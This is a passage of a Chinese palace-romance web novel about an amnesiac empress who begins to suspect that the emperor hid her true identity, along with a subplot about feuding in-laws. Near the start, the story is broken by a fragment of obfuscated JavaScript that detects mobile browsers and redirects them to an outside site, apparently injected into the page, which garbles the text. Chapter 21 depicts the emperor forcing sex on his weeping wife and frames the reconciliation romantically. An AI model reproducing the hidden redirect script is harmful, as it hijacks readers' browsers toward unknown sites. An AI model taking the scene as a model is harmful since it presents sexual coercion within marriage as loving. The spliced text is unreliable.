话题大约是从“生不生孩子”转移到了“翻旧账”这上面,媜珠既说起此处,便也认真掰起了手指回忆:
“妾记得那年妾是春日的三月十二和陛下完婚,陛下婚后不到三个月就去了徐州伐徐州节度使章疗,待陛下回冀州时已是第二年夏末。您算算您走了多长时间?”
皇帝颔首向她致歉:“是朕之错。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640972|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>媜珠又说:“您那年说会留在家里多陪妾几个月,结果……结果那年六月、七月……八月,那年您、您——”
不知是想起了那年的什么事情,媜珠头颅中又一片空白,好像那一年中许久许久的记忆在她脑海里也被瞬间抽走了。
皇帝立马接过了话茬:“那年朕在家里陪媜媜过完了年,是正月年后才走的,媜媜这次可不能怨朕。”
话刚说完,他转头在寝殿里找起了他和媜珠一起养的那只波斯猫:“灿娘,灿娘呢?过来,今日朕允你上榻上来。”
听到皇帝唤它,灿娘子从房梁上跳了下来,扛着它蓬松柔软的大尾巴蹦蹦跳跳地上了帝后二人的床榻上。
灿娘子从前就喜欢爬到榻上玩,但它太容易掉毛了,周奉疆不惯着它的“邋遢”,不许它上榻,灿娘子多少畏惧他,于是也就不敢放肆。
今日难得是皇恩浩荡,允它放肆一回,灿娘子高兴得不得了,拉长了柔软的猫身在丝被上打起了滚。
媜珠的思绪也立马被它牵走,从周奉疆怀里起了身,半跪在榻上与灿娘子一道玩了起来。
皇帝满目柔情地注视着媜珠:“你陪它玩会儿吧,今年咱们一起守岁祈福。”
媜珠状作神情专注地逗着猫儿,全然不敢回头看皇帝一眼,唯恐皇帝在她的眼神里看出什么异常来。
*
她刚刚想起了一件事情。而且她觉得,皇帝大概也想起了那件事。
在她和皇帝成婚后的第二年夏天,她几乎丢失了一整个夏天的记忆。
从那年夏天五月末开始,直到七八月间,她恍然意识到自己的记忆都是一片空白,完全记不得那两三个月里发生过什么。
可是怎么会这样呢?
那两三个月里,到底又发生了一些什么?
方才她想到这一段,在努力地回想那一年的记忆时,皇帝显然就看出了些什么,一下就打断了她,没有让她继续深思下去。
连皇帝也觉得,那是一段不该被她想起的记忆吗?
可是究竟在什么情况下,一个人会无缘无故地消失掉两三个月的记忆呢?
而且,媜珠忽然又联想到了另一件事。
她开始失忆的那段时间,恰巧也是皇帝的妹妹兖国公主去世的时间。
——换句话说,正好从她受伤失忆之后,世上再无兖国公主此人了。
皇帝说,他和她之间的婚事,曾经遭到过她兄长的阻挠。
而皇帝自己身为兄长,也曾阻挠过兖国公主和河间王的婚事。
她梦里的兄长,曾经在她已经出嫁之后又带人把她抓回家中;
而当年兖国公主已经换上了嫁衣准备跟着河间王嫁去洛阳了,结果又被皇帝带着人抓回了冀州家中。
她看皇帝的样子,明明皇帝是很爱惜、在乎自己的这个妹妹的,但是他似乎又从未因兖国公主的死而伤心过。
还有在她最近断断续续所恢复的记忆里,当年那个她要嫁的男人,一直都说要带她嫁去洛阳,她最后也是在嫁去洛阳的路上被人拦了下来,软禁了起来。
她最近一直都怀疑自己压根不是赵家的女儿,不是襄国夫人的亲生女儿,她怀疑自己也许本来根本就不姓赵。
然而她的这张脸单挑出来看看,和她的“姑母”兼婆母赵太后又是有几分相似的。
侄女儿像姑母当然没什么问题,但如果这样的话,那她不就又成了赵氏女么?
可如果她是赵氏女,又该怎么解释她记忆里有个男人说过她父亲已经死了的事实呢?
这一切真的都只是巧合么?
除夕的子夜时分很快过去,媜珠隐约听到了宫墙外面传来了热闹的喧嚣爆竹之声,皇帝挥手打发灿娘子跳下了床,他欲拥着媜珠歇下:
“新年了,媜媜,咱们在一起又度过了一年。”
媜珠温柔地回他:“妾愿年年岁岁皆与陛下相守,年年有今日,岁岁有今朝。”
“咱们睡下吧。”
这夜,媜珠靠在他怀里,脑海中莫名其妙地冒出了一个令她自己都感到惊悚的想法。
——她会不会就是皇帝和太后从来提也不愿多提的那个兖国公主?
会不会兖国公主从来都没有死,只是换了一种身份活在了这世上?
但这个念头实在太过令人骨颤肉惊,连媜珠自己都忍不住在他怀里发抖了几下。
皇帝以为她太累了,睡得不安稳,哄孩子一样轻轻拍了拍她的背,哄着她安静地睡下。
20-30
第21章
跟他的这些年里,她在床榻上是没吃过什么大苦头的。
虽然大部分时候他对她索求颇多,叫她的身子有些吃不消,直到第二日还要没精打采地躺在榻上歇着,但总归他对她还是温柔的,呵护的。
她对此也并没有太多的怨言。
可是这次不一样。
媜珠狼狈地跪趴在锦被上,纤薄的脊背好几次颤颤巍巍地想要直起身来,都被皇帝一只手按了下去,将她整个人死死按在被褥间。
她不知道是在什么时候哭了出来,是没有声响的哭,只剩下眼泪在流,一滴滴静静湮没进丝被里,在浅荷色的布料上洇出一片圆圆的水渍,像一朵无声在凋谢的娇花,渐渐垂下了枝头。
媜珠只觉得又是一阵头晕目眩,仿佛头颅里只剩下一片寂寥的白,如雪落之后寂寥的天地,让她摸不清任何东西。
而皇帝的神智,则似乎也没比她清醒到哪里去。
媜珠原本穿着的繁复精致的华美鸾裙被他随意扯下,随手丢到了床下去,继而身上的衣裙又被层层剥落,最终在他眼前也只剩下一片雪艳的白,是她不着寸缕的雪白的身子,蝴蝶颤翅一样在他掌下轻轻发抖。
在媜珠的记忆里,他似乎从未有过这样待她粗暴的时候,她觉得委屈,她不明白自己究竟做错了什么,为何要招致皇帝如此的惩罚。
此时尚是白日里,皇帝连床帘都懒得拉起,两人纠缠在榻上的姿势完全暴露在外,哪怕这时殿里的宫人们全都退了下去,可媜珠仍旧觉得无比羞耻。
以前不是这样的,以前他从来不会这样对她。
他知道她容易害羞,知道她在宫人们面前抹不开面子,所以每次宠幸她,不论是白日还是黑夜里,总是会细心掩好床帘帐幔,将他们两人在帐内的样子仔细遮好,然后才会去碰她。
她迷迷糊糊地听到皇帝覆在她身上,轻轻吻着她的肩骨和脖颈,咬牙切齿在她耳畔低语:
“周媜珠,我凭什么不能碰你?!这世上有谁还能比我更爱你……”
媜珠觉得自己大概是昏头了,又或许是听错了。
她仿佛听到皇帝唤了她一声“周媜珠”。
可是她不是姓赵么?她不是应该姓赵么?
她怎么会是“周媜珠”呢?皇帝怎么会这样唤她呢?
媜珠迷迷糊糊地想到,也许只是她一时听差了吧。
*
等榻上的动静终于歇下来时,已是这日的深夜了。
皇帝在一番畅快的纾泄后,神智反而格外平静了下来。
他缓缓平复下了呼吸,没有先召宫人进来伺候,自己起身披上了襌衣,而后在榻边坐下,静静地看着媜珠此时的样子。
过度的劳累与折磨后,媜珠伏在丝被上已经再没了一丝力气,像是沉沉睡着了过去。
她背对着他,睡颜仍是不安稳的,眉头轻蹙,紧闭的眼睫上还摇摇欲坠地凝着一颗泪珠,枕上也残存一块还没干透的泪痕。
等到脾气冷静下来了,他望着媜珠身上的大片痕迹,倒是渐渐泛起了一阵心疼。
怎么会不心疼呢?
过去那么多年里,他对她也是真的呵护备至,几时曾让她吃过这样大的苦头?
周奉疆轻轻捏了捏自己的眉心,他觉得他大约是真的被她气昏头了。
今日下午时分,佩芝又有些慌张地过来告诉他,说是皇后在那堆书山纸海的各种文书里不知捡了一张哪来的奏章残篇,一个人盯着那张纸看了许久许久,脸色也很是不对劲。
当时她疑心皇后是不是看见了什么不该看的东西,不慎被刺激到了,便使了个眼色,叫边上的小宫娥上去看看。
谁知那小宫娥才刚准备凑过去,皇后立马反应了过来,下意识将手中的纸藏于袖中,不想给旁人瞧。
这就很不对劲了。
哪怕失忆过一场,媜珠也从未改过以前那温顺柔婉好说话的性子,在宫人们面前更是几乎没有脾气的。
之前的几日里,她有时捡了张什么纸拿在手里瞧,若是遇见胆子大些的小宫娥过去问一声“娘娘在瞧什么呢”,媜珠都会微笑着把手里的书纸递给她们看,偶尔还会多说几句:
“原来前楚时候洛阳宫里的宫女们喜簪绒花为饰,不知道你们喜不喜欢这些花样儿,若是你们也喜欢,等开了春后,本宫也想给你们也按例添置一些。如花似玉的年纪,总归是要打扮打扮的。”
所以这种立马藏着纸不给人看的反应就很不对劲。
佩芝过来是这样告诉皇帝的,周奉疆听罢,哪还管得了手头的其他政务,当即便回了椒房殿去亲眼看了看媜珠。
然后迎接他的就是媜珠的顶嘴和她那又有些冒了刺的反骨脾气。
这些年里,他的确享受了太多她身上的柔顺、听话和美丽,哪里受得了她忽然的变脸?
当时他也是真的被她气急,脑子里的那根弦轰得一下就断了。
等到意识再度回笼时……媜珠在榻上已经连哭都没有什么声响了。
坐在榻边看她看了许久之后,周奉疆去倒了一盏蜜水来,将睡梦中的她从榻上捞了起来,喂她喝了点水。
媜珠还是一副睡不醒又没骨头的样子,但或许是缺水太过,她迷迷糊糊间还是咕咚咕咚地喝着水,喝完后身子一软,又躺倒下去。
这一觉她睡到第二天的午时才醒,且自然又是睡不好的,甚至醒来时还浑身滚烫,意识模糊。
佩芝听得皇后起身的动静,过来服侍皇后穿衣时,见她这样子就心说不好,探手摸了摸皇后的额,果然烫手,便立马打发人去叫医官们过来看看。
*
皇后病了。
昨夜的那一通折腾过后,她发起了高热,陡然病倒了下去,气色也憔悴了不少。
病在她身上,疼的还是周奉疆的心,后悔的也还是他。
他立马又从宣室殿过来陪伴在媜珠身边,亲手喂她喝药、吃饭。
但媜珠大约也有借病冷战的意思,只要他过来,她就立马神色恹恹地躺在榻上背过身去,不理他,也不跟他说一句话。
他问她身上还痛不痛,她也装作听不见,不理睬,而后就一个人枕在枕头上啪嗒啪嗒地掉眼泪,耸着肩膀低声抽泣。
两三个月里,这已经是她第二次生病了,而且每次都跟他脱不开干系。
这自然也是他身为丈夫的失责。
之前周奉疆还在纳闷当天媜珠到底是在宣室殿里看见了什么东西、疑惑她藏起来的那张纸上到底写了什么,但是现在却都无暇过问在意了。
他一连好几日都守在她身边照顾着她,甚至把大半的奏章文书都搬进椒房殿里批阅,也仍然未见媜珠再展颜笑过。
帝后之间生了些不快,有时哪怕宫里的消息压得再死,旁人也是多多少少能瞧得出来的。
媜珠病了的这几天里,宫外的王妃公主们多少也过来看望过她。
颍川公主怀着肚子,身子渐重,不便走动,遂请了自己的弟媳、韩孝直弟韩孝民之妻冯氏入宫一趟,献上了些许礼物,聊表对皇后的关怀。
这天,穆王妃同冯氏正好一块入宫,在椒房殿里碰上了,于赵皇后跟前坐了片刻,关怀了几句皇后的身子还如何之类的话。
皇后病容未消,体态清瘦,美貌却半分未减,哪怕不做妆饰,不施粉黛,那模样看着既憔悴又柔弱的,更能勾得男人怜惜。
难怪哪怕她病着,皇帝仍旧日日守着她呢。
呵。穆王妃心下冷笑。
媜珠拢了拢身上披着的雪白狐裘,有些倦乏地靠在美人榻上,先微笑着问了穆王妃几句:“县主现在也快半岁了吧?会爬会坐了么?”
县主即穆王妃几个月前刚生下的那个女婴。
穆王妃欠身答道:“劳娘娘病中还关心这孩子的琐事,是快半岁了,不过还不大会坐,爬么,倒是能爬两下的。”
媜珠点头,眼睛里有了丁点的笑意:“真好。”
她又将视线转向这位颍川公主的妯娌冯氏:“许久未见夫人了。依稀记得夫人膝下也有两子,家里的孩子可好?颍川公主的怀相近来可好?”
或许是天性使然,冯氏的举手投足间倒是带着一股自来熟的热络大方,说话也是毫不扭捏,没有寻常女眷在媜珠跟前小心翼翼的那种做派。
“劳皇后娘娘关怀了,妾也确实许久未见皇后!从前进宫几次,每每都是跟着我家嫂嫂一块来给娘娘请安,嫂嫂总怕我是乡下野妇做派,怕我这样的粗人说话不当心,会冲撞了娘娘,所以不多带我过来……嗐,我家那两个孩子么,好带倒也是好带的,到底不是公主嫂嫂生的凤子龙孙,糙点就糙点罢了,可是孩子糙养,反而不常病呢!我公主嫂嫂生的那大郎,我那大侄儿,宝贝得跟金蛋一样捂着,结果倒是三天两头总是病,秋也病冬也病,一年到头病个没完了……”
……
媜珠脾气素来好,听着冯氏这番家长理短的念叨,哪怕听不下去了,也只是垂眸眨了下眼,并没有打断她。
而穆王妃则没有这么好性,当即有些嫌恶地用帕子掩了掩唇,身子朝一侧侧过去,和冯氏拉开了些许距离。
待冯氏终于口干舌燥地讲完,媜珠脸上的神色还是得体的,也没有对她表达过半分的不满,还温柔地回了她:
“如今韩驸马带着兄弟在交州一带忙着军务,家里的琐事多,夫人难免多操心了。”
冯氏一手端起手边的茶盏饮尽,又“嗐”了一声,“哪里轮到我操心什么呀,家中大小琐事,不都是我那公主嫂嫂说了算么。到底咱们是借住在人家的公主府里的,也不能插手人家公主的事。我呀,也只管好自己那一亩三分地,把自家的孩子带好就是了。”
穆王妃这时的鬓边的太阳穴都已经开始跳动了,她简直不想再坐在这蠢妇边上半刻钟,若不是顾及皇后颜面,她甚至只想转身就走。
她平生何曾见过如此蠢妇?怪道那颍川公主要把这妯娌死死摁在家里,不敢把她带进宫半步!
偏偏那纸糊的架子一样没脾气的皇后,还能好声好气地跟冯氏说上两句话。
“夫人将两个孩子管教得好好的,已然是十分辛苦了。”
一听皇后说起她的两个儿子,冯氏越发起劲,正要多说什么,还好这时皇后身边的佩芝过来了,俯身与皇后说,她今日的汤药快煮好了,马上皇帝会来亲自喂她吃药。
这大约也是说给穆王妃和冯氏听的意思,是替皇后开始撵人了。
穆王妃听得懂这话外之音,赶忙起身要退下,冯氏见状,也只好起身跟着一块出去了。
但,就在转身离开的那一刻,穆王妃瞥见正在和佩芝说话的皇后十分不耐烦地转过了头去,眼神有些烦躁不快,还有浓浓的排斥。
“把我的药端来,我自己会吃,何必劳动旁人……”
穆王妃记住了那个眼神。
她心底生起一股怪异的直觉,她忽然觉得,那样的眼神,应该是属于从前的周媜珠的。
周媜珠……难道是和皇帝闹掰了么?
穆王妃的心头一动。
第22章
退出椒房殿,步出宫门的路上,冯氏仍旧叽叽喳喳不停地穆王妃攀谈起来,零零碎碎地说起颍川公主府里的琐事,无外乎都是些鸡零狗碎,说的也都还是颍川公主的坏话,吵得穆王妃头都疼了。
但她又不好当面直接甩了冯氏的脸,只得皮笑肉不笑地应和两声。
这冯氏呢,也不知她是真蠢还是装蠢,竟然真的如同看不懂别人的脸色一般,越说还越起劲,恨不得把她嫂子颍川公主每晚上使几次夜壶都讲给别人听,叫穆王妃在心里都有些同情起颍川公主时运不济,怎么竟招来了个这样的妯娌。
总算等到出了宫门,甩开了冯氏,穆王妃笑了笑与她就此别过,上了自家王府的马车里,耳根子这才算清净下来。
连穆王妃身边的嬷嬷也背过人私下和她嘀咕几句:“颍川公主真是昏了头了,今日怎么把这蠢妇送进宫来膈应皇后娘娘。不知这等蠢人,在那公主府里还要生出多少事端,也亏得颍川公主能忍下来。”
穆王妃笑着摇了摇头:“所以说女子出嫁从夫,哪怕她是公主,嫁到韩家也得忍着这种妯娌,这也是没法子的事了。”
说起这一茬,她似是想起了什么,又与那嬷嬷说:“嬷嬷恐怕不知道这韩驸马家以前的事呢,你只瞧见如今颍川公主和这妯娌不大和睦,哪里知道,那一家子婆媳妯娌兄弟之间,都是有些龃龉的!”
原来韩驸马韩孝直和其兄弟韩孝民二人的母亲余氏如今尚且在世。
这位余氏老夫人,其实应该称一声大余氏,她下头还有个妹妹,即小余氏。
起先的时候,是小余氏先嫁给韩父,生长子韩孝直,没过多久病逝。
这时娘家的姐姐大余氏正好丧夫守寡,韩、余两家人索性一合计,就叫大余氏改嫁了这个妹夫,到韩家当了媳妇,也是为了给自己可怜早逝的妹妹养大唯一留下来的儿子。
没几年后,大余氏和韩父生下了次子韩孝民。
从前都只听说过妹妹嫁给姐夫当填房的,偏偏这家是姐姐嫁了妹夫做继室,也是实为少见。
更造孽的是,韩父没多久也死了,这韩家只剩下了媳妇大余氏和两个儿子。
大余氏可谓是用尽心血,在乱世中将两个儿子抚养成人,对自己妹妹留下的儿子韩孝直也是真正视同己出。
而大余氏抚养儿子们的心血也没有白费,十几年后,她养出的两个身强体壮的两个儿子都投身军旅,小儿子虽没什么功名建树,但是大儿子却步步高升,得到北地冀州侯周家的赏识重用。
甚至,他还因此娶到了先冀州侯周鼎的第四女,如今的颍川公主。
然而等到孤儿寡母娘三个苦尽甘来的时候,也就正好成了一家人矛盾爆发的时刻。
韩孝直素来知晓自己并非大余氏亲生,知道自己的真正生母是小余氏。
所以,在他取得功名利禄之后、开始替自己的母亲求封诰命时,竟然先是替那个生了他、但并未抚养过他的小余氏追封!
甚至在替自己的父亲修建祖祠家墓的时候,也都是以小余氏为尊,让小余氏和韩父合葬,压根没给养母大余氏留个什么位置。
大余氏早就因此十分不满,在大余氏看来,姐妹当中她是长姐,理应长姐为尊;论起生养之恩,她虽不是韩孝直亲生母亲,却胜过亲生母亲,含辛茹苦把他抚养成人,难道她的心血都喂了狗了吗!
然而韩孝直似乎则认为,论起嫡庶,他的生母小余氏才是他父亲原配嫡妻,本就理应以小余氏为尊。况且生母早逝,他已经无法报答生母,只能在这些名分诰命上尽量弥补生母。
至于养母大余氏,以后报答她的时间还长着呢,何必在一时的名分上过多计较?
见兄长伤了母亲的心,大余氏的亲生儿子韩孝民当然不肯乐意,私下对这个哥哥更是颇多怨言。只是奈何哥哥如今位高权重,一家人都要仰赖哥哥和嫂子带来的恩泽,所以他十回生气也要忍下八回,
等到新帝登基,封赏功臣之后,韩孝直韩孝民兄弟二人的矛盾愈发大了。
因韩孝直与颍川公主同居公主府,府中还有颍川公主生母李太妃,又来了一个婆婆大余氏,还有小叔子一家人,尤其妯娌冯氏更不是个省油的灯儿,整个公主府里吵吵闹闹,竟没有一日是安生过的!
颍川公主贵为公主之尊,自然不会把大余氏这个“假婆婆”放在眼里,更遑论给她请安问礼晨昏定省之类的事了;
大余氏一朝翻身,正想在公主儿媳头上摆摆做婆婆的谱儿,见摆不上去,气得整日捶胸顿足,早就传为大半个长安的笑话。
而母亲受气,亲儿子韩孝民当然又得找哥哥理论,叫哥哥去管教颍川公主,问问这颍川公主何为儿媳之道!
韩孝直捧着颍川公主这个活祖宗还来不及,又怎会真的去说教公主?
于是韩孝民见哥哥这个态度,心里火气就更大了。
听说还有一次,韩孝民还和哥哥韩孝直当街争吵道:“就因为我母亲只是养母、不是兄长的亲生母亲,所以兄长就纵容公主凌辱婆母!我想问问兄长,如今皇太后殿下也是陛下养母,难道陛下也会像兄长一般,唆使赵皇后藐视婆母皇太后么?”
这话不知怎么渐渐传到赵太后耳朵里了,戳得赵太后心窝子也十分不舒服,等到下一回颍川公主入宫请安,赵太后便板着脸敲打道:
“你婆母虽不是韩驸马的生母,但是她能将韩驸马养大了,这养恩就是大于生恩!养育之恩大过天!你与韩驸马夫妻情深,多少也要替韩驸马好好孝顺这个养母才是。咱们周家教养出来的女孩儿,可不是没规矩没良心的乡下野妇啊,四娘,你说是不是?”
颍川公主被太后这么一敲打,再气也是无可奈何,只好俯下身段、忍着恶心去伺候婆婆大余氏,而大余氏这头占了上风,果真更妖闹起来,简直是无法无天了。
而为了彻底解决这一大家子鸡飞狗跳的种种琐碎破事,韩孝直在迫不得已之下,只能开始想尽办法扶植自己的弟弟韩孝民,希望帮助他那一介白身的弟弟韩孝民建立功名,得到皇帝封赏的官位和宅子,继而让弟弟弟媳名正言顺地带着这个母亲大余氏搬出去住。
——毕竟,如果他只是单纯地再买一个宅子把母亲和弟弟一家挪出去住的话,恐怕落在赵太后的眼里,又是他们夫妻二人对自己的养母不敬不孝了。
“怪道这韩驸马此番去了交州,也要寻个由头把家里弟弟一道带去。自然是要借机给自己弟弟捞个白得的功名爵位在身了。”
那嬷嬷听完穆王妃的话,当即如此笑道。
穆王妃轻笑一声,没再说话。
归穆王府,穆王妃当然又去寻了丈夫穆王,将今日宫内种种见闻一一说给穆王听。
然,当穆王听到穆王妃推测皇帝与皇后间生了什么不快的嫌隙时,继而推断皇后可能因此失宠时,他倒是十分不屑地否定了:
“我那三姐姐周媜珠,当年怎么说也是殊色冠绝北地三十州的第一美人,周奉疆不把她玩腻了是舍不得废她的,哼。趁着现在年轻貌美的几年,她耍什么样的脾气,男人自然都愿意纵着。”
……不过,如果有一天周奉疆也腻了这女人呢?
他说的是如果。
如果周媜珠也有失宠的一天,也有被皇帝厌弃的一天……也许到时候,这女人才知道她应该向着谁,才知道她应该最向着她娘家的亲兄弟,才知道她早应该把周奉疆那背信弃义之人给……
穆王压下了心底的思量。
*
这日的汤药,还是被皇帝端来亲手喂媜珠喝下的。
媜珠伸手推拒了两下,见推不动他,始终也没有开口说什么,便任由他这么喂。
一碗苦涩药汁进了肚,媜珠被苦得直皱眉,撇过头去捂着唇拼命压下口中的苦味,皇帝放下手中的玉碗和羹匙,递过来一枚用桂花蜜渍过的枣子,剔了枣核,将泛着一层油亮蜜光的枣肉递到了媜珠的唇边。
媜珠垂眸望着他修长的手指,不动声色地眨了眨眼,最终还是不理会,又挪动身子越发背了过去,更不想理他了。
这般僵持片刻,媜珠口中苦味仍是未消,皇帝见她始终不领情,也就收回了手。
不知为何,等皇帝也不迁就她了,收回了这点递过来的台阶之后,媜珠心下又觉得还是不好受,更觉委屈,连嘴里的药味也像是又苦了不少似的。
她眼眸转了转,在皇帝没有看见的角落,眸中又泛上了一层水雾。
然而,还不等媜珠眼里的这层水雾聚成泪滴,她整个人忽然又被皇帝抱了起来,皇帝一手扣着她的下巴,逼她抬头和他直视,下一瞬他的唇贴了上来,亲吻着她的唇边,撬开她骄矜的牙关,将一块蜜枣肉喂了过去,渡给她一片甜蜜的气息。
他搂着她的腰肢,将这一吻细细厮磨了许久后才意犹未尽地结束,媜珠在浑浑噩噩中吞下了那块枣肉,口中苦味早已消散地一干二净,原先有些虚白的唇上也泛着娇艳的朱红。
“媜媜,不生气了好不好?”
这一吻后,媜珠有些气息不稳地跌坐回美人榻上,皇帝俯身吻了吻她的发顶,似是无比虔诚与真心地在讨她的原谅,“这一次,皆是朕之错。是朕不该如此待你,媜媜,朕求你原谅可好?”
虽然已经过去了数日,可是一听他提起当日之事,媜珠还是下意识地浑身胆颤惊恐,像是受惊的幼鹿,瑟瑟地发着颤。
她咬着牙关不说话,皇帝越加放低了姿态和她道歉,他知道如何拿捏她的脾气,知道该怎样求她才能最容易让她心软。
也知道她终究没有那个底气和资本,永远和他犟着来。
这般又哄她哄了许久,媜珠也渐渐被他哄得有些动摇,总算嗫嚅着唇瓣和他说了自他们冷战以来的第一句话:
“陛下说过,妾是陛下之妻,是陛下心爱之人,妾不敢自居出身望族,可好歹也是体面人家教养出来的女子,陛下一时不快,为何就要如此侮辱妾?难道妾只是陛下掌心可有可无的一个玩物吗?”
周奉疆亲了亲她的额:“都是朕不好,是朕之过。朕以后再也不会如此对待媜媜了。媜珠乃朕掌上明珠,朕永远不敢视明珠为玩物,叫明珠蒙尘。”
他又哄她:“待明年洛阳宫城修完毕,朕带媜媜去东都洛阳巡游,带媜媜去洛阳散心,好不好?朕带媜媜去看洛阳的龙门窟、拜洛阳白马寺、游洛阳老君山,好不好?”
媜珠的眼睛亮了亮:“真的?”
洛阳城当年被那些悍匪一般的各路武将们劫掠过之后,已经是大片大片的断壁残垣了,如今新帝虽建都长安,但是仍然命人重新修洛阳宫城,并且曾经说过,待洛阳宫城修完后,他会亲临洛阳巡视。
周奉疆说:“那是自然。朕要带媜媜去白马寺和老君山,亲自去求各路神佛,不是以帝王之身去求他们庇佑我大魏江山千年万年,只以肉体凡胎之身去求他们,让他们保佑我的媜媜永世欢愉无忧。”
媜珠总是好哄的。
听得这话,她一下转了笑脸,扑进了男人的怀里,娇滴滴地唤了他一声夫君。
只是在她扑进皇帝怀里的时候,头颅抽痛间,仿佛格外清晰地闪过了另一个男人对她说过的话。
*
“媜媜,等咱们回了洛阳,我会带你去看龙门窟,带你逛白马寺、老君山。等咱们回了洛阳……”
可,为什么那个男人的话里说的是“回洛阳”,而不是“去洛阳”?
第23章
皇帝陪媜珠说了一会儿话,见她有些倦怠,便将她抱到榻上哄她睡一会,自己又掀开珠帘往外头去,大约是还有没批阅完的政务文书。
媜珠也正是半睡半醒间,听到隐约两句人声,似乎是皇帝在外头和佩芝说话。
佩芝压低了声音,话里话外的意思都是在告那冯氏的黑状,说那妇人在皇后跟前很是失仪,言语举止皆十分粗鄙。
皇帝听罢便不耐烦道:“那以后就少叫这种人再到皇后跟前晃悠,惊扰了皇后好好养病的心情。”
佩芝应和着:“婢也是如此以为的!”
“……陛下!”
媜珠从榻上披衣而起,足上着轻便的尘香履,缓缓走到外间去唤了皇帝一声。
她对上皇帝的视线:“妾倒是觉得,今日来的那位冯夫人,和长安其他女眷们比起来很不一样。”
她语气微顿,“冯夫人何至于被称为粗鄙呢,她不过是心直口快了些,有什么便说什么罢了。妾听惯了长安城里的其他公主王妃、命妇女眷们在妾跟前小心翼翼的样子,她们对妾说一个字,要在自己心里盘算至少三回,来来往往,说的不过还是同一句恭维的套话,妾听也听腻了。冯夫人和她们都不一样,她对妾没有半分遮掩,快言快语,直肠直肚。有时候么……听听这样性子的人说话,也是有意思的。”
皇帝挑眉而笑:“这有什么大不了的,你若是喜欢她偶尔来跟你发发牢骚,那朕准她踏入椒房殿就是了。”
他并未将这样的小事放在心上。
佩芝在一旁悄悄抿了抿唇。
她虽瞧不上冯氏这样的人,但总不好违拗主子的意思,也不好多说什么了。
*
在北地长安被一片腊月的冬雪笼罩之时,岭南的交州仍旧飘不下一片雪花。
临近年关,军中士卒多有思乡念归之心,故而士气反而稍有些低迷松散。
交州司马韩孝直急于剿灭南楚张道恭残部,因此近来脾气越发急躁,眼见军中有些士气松垮,他格外不悦,对着手下士卒也更严苛了些。
和兄长韩孝直的苛刻相比,其弟韩孝民反而显得十分仁和宽厚,更好说话。
韩孝民见到年关下士卒思乡,频频向兄长进言,建议兄长应该在这时厚赏士卒酒食炙肉,让军中的将士们也能过个好年才是,这吃的好了,过完了好年,打仗才有精气神。
韩孝直勃然大怒,指着弟弟骂道:“我把你带出来是奔着建立功业的,你自己只知整日躲在营帐里饮酒作乐也就罢了,如今还敢唆使军中将士和你一般饮酒茹荤、花天酒地,我劝你趁早给我收了这心思!”
他将自己桌案上一份长安发来的皇帝口谕一把抓起来,扔到了韩孝民的脸上:“看看陛下是什么口谕,是叫咱们半年之内荡平张道恭余部、生擒张道恭到长安去的!若是半年之内抓不到张道恭,届时陛下以军法问罪,你我有几颗人头够砍的!”
韩孝民被他骂的也是一肚子窝火,但是又不敢明面上和他争执什么,只好垂头退出了韩孝直的军帐。
等到了外边,有几个平素跟在韩孝民身边伺候的军卒们团团围了上去,问起方才军帐里他们兄弟二人都说了些什么话。
韩孝民撇了撇嘴,吐一口唾沫在地上:“你们大司马能有什么好话跟我说!我是想着带你们好好喝酒吃肉过个好年的,奈何你们大司马畏惧陛下的军令完不成,陛下要砍他的脑袋呢!所以多一口酒肉的吃喝也没有给你们的!”
几个军卒当下赶忙恭维起韩孝民来:“到底是我们韩二爷心疼军中的兄弟们呢。韩二爷的心意,咱们兄弟都已经领了!二爷是个什么人,难道咱们还不知道?”
当下,几人又簇拥着韩孝民大摇大摆地离开了魏军军营驻扎之地,悄然拐入了附近的一个乡下偏僻小村里。
这村子里人口不少,村西头有个挂着红灯笼的小院儿,里头挨挨挤挤住着七八个女子,有十三四岁的,也有三十岁出头的,不论年龄大小,容色俱是可观。
自魏军长时间驻扎在这附近和南楚残部对峙之后,这村子里遂渐渐兴起了这种生意,多有人兜售酒水、吃食给这些出来打野食的军卒们的。
自然了,那些女人的身体也属于可以用银钱来消遣的范围之内。
如今这院子里的人,早就把这位魏军主将出手阔绰的弟弟韩孝民当做了头一等财神爷,日日都备足了好酒好肉,只等他过来消遣解闷。
这一日,见到韩孝民等人过来,小院儿里为首的那个嬷嬷赶紧一脸堆笑地迎了上去,按照从前惯例,打发三四个女人过来陪着,又叫剩下的几个女人去温酒热菜,端碗递筷。
韩孝民一行人腆着肚子往屋里坐下,几个女人争相凑到他跟前去,妩媚妖娆地说笑取乐起来。
韩孝民拨开几个女人,先扯着嗓子问了一句:“诶,今日怎么不见我那段老弟?我段家老弟怎么还没来?可是叫什么事儿给绊住了?”
片刻后,屋外传来那嬷嬷的笑声:“来了来了!段爷今儿也来了,我这就再端一副碗筷过来。”
屋里的几人静了一静,不几时,果真又见一个年轻挺拔的男人从外间推门进来。
那男人只穿了身灰扑扑的常服,袖口处也零碎打着一点补丁,看上去颇为寒酸,只是那精气神倒是半点不显落魄,仍旧是挺括自若的。
段充入内正欲寻个位置坐下,韩孝民推开自己身边的一个女人,把他身旁最亲近的位置让出来,拍了拍,招手就让段充来坐。
段充微微一笑,朝众人拱了拱手,依言过去在韩孝民身侧坐下。
“弟今日在山陵间捉了几只野鸡野兔,方才叫那鸨妈拿去炖了,过会儿叫她们端进来,请几位大哥赏脸尝尝这些野味。之前几回,都是几位大哥请的酒食,弟厚颜受之,心中何等愧疚。”
韩孝民和几个魏军军卒哈哈大笑,几人拍了拍段充的肩膀,都说这段老弟太过客气,不过几顿酒食钱,这有什么大不了的!
话虽如此,但是面对段充这样识趣的、进退有度的人,韩孝民等人还是十分赞赏的,因此也和他愈发合得来,常常聚在一处寻欢作乐,谈笑几番。
——前段时日,韩孝民就是在从军营里溜出来吃花酒的时候,于山陵小道间偶遇了外出打猎的段充。
两人眯着眼慢慢跟对方碰上,好半响才认出阔别多年的老友,当下就是极尽寒暄。
因为二人从前在冀州的时候关系就十分不错,而韩孝民当年也受过段充的人情,如今的段充对着韩孝民更是极为奉承,是以两人这番“他乡遇故知”,倒是一下子变得亲兄弟般热络起来。
